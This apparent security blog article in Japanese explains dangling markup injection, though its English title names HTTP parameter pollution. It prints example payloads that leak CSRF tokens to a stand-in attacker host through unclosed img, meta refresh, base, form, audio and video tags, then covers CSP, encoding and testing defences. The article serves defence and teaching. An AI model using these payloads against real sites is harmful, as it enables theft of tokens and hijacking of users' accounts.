HTTP Parameter Pollution: Making Servers Disagree on What You Sent 🔀

はじめに
Webアプリケーションのセキュリティは日々進化しており、攻撃者は巧妙な手法を開発し続けています。Content Security Policy (CSP)や堅牢な入力フィルタリングにより従来のCross-Site Scripting (XSS)攻撃は防ぎやすくなっていますが、Dangling Markup Injectionと呼ばれる微妙ながら強力な攻撃手法は、JavaScriptを実行せずに機密情報を漏洩させる別の経路を攻撃者に提供します。
この攻撃技術は、ブラウザの基本動作やHTMLのパースメカニズムを利用して、CSRFトークンやセッションID、認証情報、個人データなどをキャプチャします。Dangling Markup Injectionの危険性は、スクリプトの実行が完全にブロックされている環境でも動作し、多くの現代的なセキュリティ対策を回避できる点にあります。
Dangling Markup Injectionとは何か?
Dangling Markup Injectionは、完全なクロスサイトスクリプティング攻撃が不可能な状況で情報をクロスドメインに漏洩させるデータ抽出手法です。従来のXSSはJavaScriptの実行を必要としますが、Dangling Markupはブラウザが未完のHTMLタグや属性をパースする仕組みを悪用します。
攻撃は、意図的にタグや属性を閉じずにHTMLマークアップを注入し、「dangling(垂れ下がった)」状態にします。ブラウザはHTML5の仕様に従い、ユーザーエクスペリエンスを優先して緩やかにパースし、閉じられていないタグや属性の次の部分をそのまま解釈します。
コアメカニズム
脆弱なアプリケーションが、適切にサニタイズされていないユーザ入力をレスポンスに埋め込む例:
<input type="text" name="user_input" value="CONTROLLABLE_DATA_HERE">
アプリケーションが>や"などの文字を適切にエスケープしない場合、攻撃者は未完成のHTMLを注入し、ブラウザの緩いパース動作を利用してページ内容を改変します。
ブラウザのパースが攻撃を可能にする仕組み
現代のブラウザは、誤ったHTMLを優雅に処理するための緩やかなパース機構を備えています。これにより、未閉じの属性に遭遇した場合、ブラウザは次の閉じタグや引用符を見つけるまでスキャンを続け、その間に含まれるCSRFトークンやセッション情報などを属性値の一部として取り込みます。
この挙動を利用して、攻撃者は任意のHTMLの一部を「キャプチャ」し、画像リクエストやフォーム送信といった標準的なHTMLメカニズムを通じて情報を攻撃者のサーバに送信できます。
代表的な攻撃ベクター
画像ソースの注入
最も一般的なDangling Markup攻撃は、意図的に閉じられていないsrc属性を持つ画像タグです:
"<img src='https://attacker-server.com/?
このペイロードを脆弱なパラメータに注入すると、ブラウザはsrc属性の値をパースし、次のシングルクォートまで読み続けます。これにより、注入ポイントとそのクォートの間にあるCSRFトークンやセッション情報がURLエンコードされ、攻撃者のサーバに送信されます。
例として、CSRFトークンの前に注入された場合:
"<img src='https://attacker-server.com/?
<input type="hidden" name="csrf_token" value="a3f8d92b4e1c">
このリクエストにはCSRFトークンがURLクエリに含まれ、JavaScriptを使わずに漏洩させることが可能です。
Metaリフレッシュによるリダイレクト
<meta>タグのhttp-equiv属性を悪用し、リダイレクトとともにデータをキャプチャする例:
<meta http-equiv="refresh" content="0; url=https://attacker-server.com/?
この方法は、ユーザのブラウザを攻撃者のサーバにリダイレクトさせ、URLにマークアップを含めて情報を漏洩させます。CSPポリシーによる制限を回避しやすい点も特徴です。
Baseタグのターゲット操作
<base>タグのtarget属性を操作し、すべてのリンクのターゲットウィンドウを変更:
<base target='https://attacker-server.com/?
この攻撃は、window.nameを利用してクロスドメイン間で情報を取得します。リンククリック時に未完のターゲット属性が設定され、その間に挿入されたマークアップを攻撃者が読み取る仕組みです。
フォームの乗っ取り
攻撃者は新たにフォームタグを挿入したり、既存のフォームを操作してデータを送信させることも可能:
<form action='https://attacker-server.com/capture'>
未閉じのフォームタグを挿入することで、その後の入力フィールドやCSRFトークン、機密情報を含むデータが攻撃者のフォームに紐付けられ、送信されます。
高度なエクスプロイト技術
iframeのname属性を使った情報漏洩
iframeのname属性を悪用し、再帰的にデータを漏洩させる例:
<iframe src="//vulnerable-site.com/page?param="><iframe name='" onload="exfiltrate(this)">
この技術は、ネストされたiframe内のname属性に敏感なマークアップをキャプチャし、外側のiframeのイベントハンドラを通じて情報を抽出します。
inputの値の注入
隠し入力フィールドに情報をキャプチャさせる高度な方法:
<input type="hidden" name="captured_data" value="
この後に続く内容(CSRFトークンやユーザーデータなど)は、そのままvalue属性に格納されます。フォーム送信をトリガーすれば、攻撃者のサーバにデータが送信されます。
オーディオ・ビデオ要素
画像タグと同様に、オーディオやビデオタグもデータ漏洩に悪用可能:
<audio src='https://attacker-server.com/?
<video src='https://attacker-server.com/?
これらのタグはメディアリソースの読み込みリクエストを発生させ、URL内のマークアップを攻撃者に送信させることが可能です。
CSRFトークンの窃取:最重要ターゲット
Dangling Markup Injectionの最も重要な用途は、CSRFトークンの窃取です。これらのトークンは、クロスサイトリクエストフォージェリ(CSRF)攻撃から保護するために設計されており、状態変更リクエストが正当な出所から行われていることを保証します。通常、隠しフォームフィールドやカスタムヘッダーに含まれ、予測不能な値が設定されています。
CSRFトークンは、以下の理由でDangling Markup Injectionに対して特に脆弱です:
- 戦略的配置:トークンはユーザ入力に隣接した隠しフォームフィールドに配置されることが多い
- 予測可能なフォーマット:引用符で囲まれたHTML属性値として現れる
- 高価値:有効なトークンを取得すれば、攻撃者は認証済みの操作を実行可能
- セッションとの関連付け:取得したトークンはアクティブなセッションに紐付いており、攻撃の成功率を高める
CSRFトークン窃取の攻撃フロー
一般的なパターンは以下:
- 偵察:攻撃者はCSRFトークンを含むページの注入ポイントを特定
- ペイロード作成:トークンをキャプチャするDangling Markupを作成
- 配信:リフレクト入力や保存コンテンツ、URLパラメータを通じてペイロードを送信
- トークン取得:被害者がページをロードすると、ブラウザは攻撃者のサーバにトークンを送信
- 悪用:攻撃者は取得したトークンを使い、不正な操作を実行
攻撃者が有効なCSRFトークンを取得した場合:
- ユーザアカウント設定(メール、パスワード、セキュリティ質問)の変更
- 被害者名義の金融取引
- アクセス権限の変更や昇格
- 被害者としての投稿やメッセージ送信
- ユーザーデータの削除や変更
- アプリケーションが許す状態変更アクションの実行
従来の防御策が通用しない理由
Cross-Site Scripting (XSS)フィルタ
現代のアプリは、<script>, javascript:, onerror=などのパターンを検出してブロックするXSSフィルタを採用していますが、Dangling Markupはこれらの保護を回避します。理由は:
- スクリプト実行なし:
<img>,<meta>,<form>などの正当なHTML要素を使い、JavaScriptを含まない - 見た目の安全性:個々のタグは無害に見えるため、フィルタは実行可能なコードと誤認しにくい
- 微妙な構文:攻撃の威力は、閉じ引用符がない点にあります
- 文脈依存:ブラウザのパース挙動により危険性が生じるため、内容自体は安全に見えても危険
Content Security Policy (CSP)
CSPはXSSを防ぐためにリソースの読み込みと実行を制御しますが、多くの実装はDangling Markup Injectionに対して脆弱です:
画像の読み込み許可:script-src 'none'でも、画像の読み込みは許可されるため、基本的なDangling Markup攻撃が可能です。
フォームの送信:多くのCSPはフォームのアクションを制限しないため、フォーム乗っ取りも可能です。
Metaタグの制限不足:<meta>タグのhttp-equiv属性に対する制限が不十分な場合、リダイレクトを伴う情報漏洩が可能です。
ユーザ操作の回避:最も制限の厳しいCSPでも、最小限のユーザ操作(例:base target操作やクリック可能な要素)で回避されることがあります。
入力検証
標準的な入力検証は、以下の理由でDangling Markupを防ぎきれません:
- 不完全なブロック:角括弧や引用符の許容範囲が限定的なため、検出漏れが生じる
- エンコーディング回避:異なるエンコーディングによりブラックリストを回避できる
- 文脈の混乱:テキストノード内と属性値では安全性が異なる
- 長さ制限:短縮ペイロードでも情報漏洩に十分
実世界の攻撃シナリオ
ソーシャルメディアプラットフォーム
コメントやプロフィールなどのユーザ生成コンテンツにHTMLを限定的に許可している場合、脆弱性が生じやすいです:
- プロフィールコメントに永続的なDangling Markupを注入し、すべての訪問者に影響
- 被害者のプロフィール閲覧時に認証トークンをキャプチャ
- 自己増殖型攻撃を仕掛け、アカウントが自動的に感染拡大
- メールアドレスやセッションID、プライベート情報を収集
Eコマースアプリケーション
オンラインショッピングの決済ページや注文確認ページでの情報漏洩例:
- 入力サニタイズ不足による住所フィールドの注入
- HTMLマークアップ内にクレジットカード情報を漏洩
- 注文詳細や請求先住所の漏洩
- カート情報の送信と攻撃者サーバへの送信
企業Webアプリケーション
複雑な認証フローを持つ企業アプリも脆弱です:
- SSOやマジックリンク認証の脆弱性
- 管理パネルからのCSRFトークン漏洩
- CRMシステムの機密情報漏洩
- 内部ツールの弱い入力検証によるトークン窃取
メールを利用した攻撃
メールパラメータのハンドリングを狙った高度な攻撃:
- 不十分なサニタイズのメール通知機能を特定
- メール受信者のフィールドにDangling Markupを注入
- ペイロードを含むメールを生成
- 受信者がWebメールクライアントで閲覧すると、隣接する機密情報をキャプチャ
- これらの情報(認証トークンやセッションID)が攻撃者のサーバに漏洩
ブラウザの対策と今後の展望
Dangling Markup Injectionの深刻さを認識し、ブラウザベンダは対策を進めていますが、完全ではありません。
Chromiumの取り組み
ChromeやChromium系ブラウザは、特定のタグがURLに角括弧や改行などの危険な文字を含むことを防ぐ対策を実装しています。これらは約6年前から有効で、HTML仕様にも正式に取り込まれつつあります。
ただし、2022年には、HTTPからHTTPSへのURLアップグレード時にこれらの保護がバイパスされる例も発見されています。
仕様のアップデート
2024年現在、WHATWGによるHTML仕様への正式な追加作業が進行中です。新たなアルゴリズムとして:
- Dangling Markupの検査:URLのパース前に検証
- HTML-URLパース:標準のURLパース前にチェック
- URLのエンコーディングとシリアライズ:URL処理全体に保護を組み込む
Mozilla(Firefox)やApple(WebKit/Safari)もこれらの対策を実装しています。
現在のブラウザサポート状況
- Chrome/Edge/Opera:約6年前から対策実施済みだが、バイパス例も存在
- Firefox:2024年仕様に基づき実装進行中
- Safari:部分的な保護があり、改善が続く
- モバイルブラウザ:デスクトップと同等の保護を継続しつつ遅れもあり
総合的な防御戦略
Dangling Markup Injectionに対抗するには、多層的なアプローチが必要です。入力サニタイズ、出力エンコーディング、セキュリティヘッダー、アーキテクチャの見直しを組み合わせます。
入力サニタイズと出力エンコーディング
厳格な入力検証:ホワイトリスト方式で安全な文字だけを許可し、属性値には英数字と限定された特殊文字のみを使用。
文脈に応じた出力エンコーディング:場所に応じて適切なエンコーディングを適用: - HTMLエンティティエンコーディング(テキストノード) - JavaScriptエンコーディング(スクリプト内) - URLエンコーディング(URLパラメータ) - 属性エンコーディング(属性値)
引用符の管理:属性値には常にダブルクォートを使用し、適切にエスケープします。
CSPの強化
制限的なCSPポリシーを設定し、攻撃の表面積を減らします:
Content-Security-Policy:
default-src 'none';
img-src 'self';
form-action 'self';
base-uri 'none';
このポリシーは:
- すべての外部リソースをデフォルトでブロック
- 画像は同一オリジンのみ許可
- フォームの送信先を制限
- <base>タグの使用を完全に禁止
追加のCSPディレクティブ:require-trusted-types-for 'script'を追加し、Trusted Typesを強制してインジェクションリスクを低減します。
CSRFトークンの保護(Dangling Markup以外の対策)
トークンの窃取だけでなく、追加の防御策も重要です:
SameSiteクッキー:SameSite=StrictやLaxを設定し、クロスサイトリクエスト時の送信を防止
カスタムヘッダー:X-CSRF-Tokenのような、HTMLフォームやクロスオリジンリクエストでは設定できないヘッダーを要求
ダブルサブミットパターン:暗号署名されたトークンを使い、セッションと結びつけて攻撃者のトークンを無効化
短期トークン:有効期限を設定し、捕捉された場合のリスクを低減
アーキテクチャの防御
責務の分離:重要な操作は別ドメインやサブドメインに分離し、クロスドメインの情報漏洩を防止
APIファースト設計:JSON APIとCORSポリシーを適用し、HTMLフォームの攻撃面を削減
フレームワークのセキュリティ機能:ReactやAngular、Vue.jsなどのセキュリティ機能を活用し、自動XSS対策や安全なテンプレートを利用
監視と検知
潜在的なDangling Markup攻撃を検知するための監視:
- 異常なアウトバウンドリクエスト:画像や動画、音声リクエストのパターンを監視
- パラメータの検査:部分的に形成されたHTMLタグを含むリクエストを検知
- WAFルール:Webアプリケーションファイアウォールでパターンを検出
- セキュリティスキャン:定期的に脆弱性診断ツールで検査
脆弱性のテスト方法
セキュリティ担当者や開発者は、体系的にテストを行う必要があります。
手動テスト
- 注入ポイントの特定:ユーザ入力がHTMLに反映される箇所を洗い出す
- クォートエスケープのテスト:クォートや角括弧を含むペイロードを送信し、適切にエスケープされているか確認
- Danglingペイロードの注入:
"><img src='//attacker.com/?などの基本的なDangling Markupを試す - リクエストの監視:ブラウザの開発者ツールやプロキシツール(例:Burp Suite)を使い、外部サーバへの送信を確認
- データのキャプチャ:トークンやセッション情報が漏洩していないか検証
自動スキャン
以下のツールを使った自動検査も有効:
- Burp Suite Professional:HTMLインジェクションやDangling Markupのスキャン機能
- OWASP ZAP:カスタムスキャンルールで検出可能
- カスタムスクリプト:ターゲットに合わせたペイロードを自動的にテスト
ペネトレーションテスト
実際のペンテストでは、次の点を確認:
- すべての入力フィールドやURLパラメータ、ヘッダーの検査
- CSRFトークンや機密情報を含むページの調査
- CSPの有効性の検証
- ブラウザのバージョンによる実装差異の確認
- 対策のバイパスを試みる
今後のDangling Markup攻撃の展望
ブラウザの対策やHTML仕様の進化により、Dangling Markup Injectionの脅威は変化し続けています。
進化する攻撃手法
攻撃者は新たなバイパスや変種を発見しています:
- DOMベースのDangling Markup(クライアントサイドJavaScriptを利用)
- レースコンディションを利用したタイミング攻撃
- 文字エンコーディングの回避
- モバイルブラウザ特有の技術的差異を利用
新たな防御策
セキュリティコミュニティは、より強力な対策を開発中:
- Trusted Types:安全なハンドリングを強制するブラウザAPI
- Sanitizer API:ブラウザ標準のサニタイズ機能
- 強化されたCSP:特定のインジェクション攻撃に対応
- フレームワークの進化:ReactやAngular、Vue.jsが標準で追加保護を提供
まとめ
Dangling Markup Injectionは、従来のセキュリティ対策を回避し、ブラウザの基本動作を悪用する高度な脆弱性です。特にCSRFトークンの漏洩においては、XSSフィルタや緩いCSPを突破し続けるため、Webアプリケーションにとって深刻な脅威となります。
この攻撃技術を理解し、適切な対策を講じることは、開発者やセキュリティ専門家にとって重要です。ブラウザの対策や仕様の進化に追随しつつ、多層的な防御を実現することで、リスクを大きく低減できます。ウェブの安全性を維持するために、最新の攻撃手法とその対策について常に情報を更新しておくことが不可欠です。
キーワード: dangling markup injection, CSRFトークン窃取, HTMLインジェクション攻撃, no-JavaScript exfiltration, ブラウザパース脆弱性, 不完全なHTMLタグ, CSPバイパス, XSSフィルタ回避, セッショントークン漏洩, Webアプリケーションセキュリティ, 属性注入, クロスサイトデータ漏洩, dangling markup対策, HTMLパース攻撃, CSRF防御回避
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.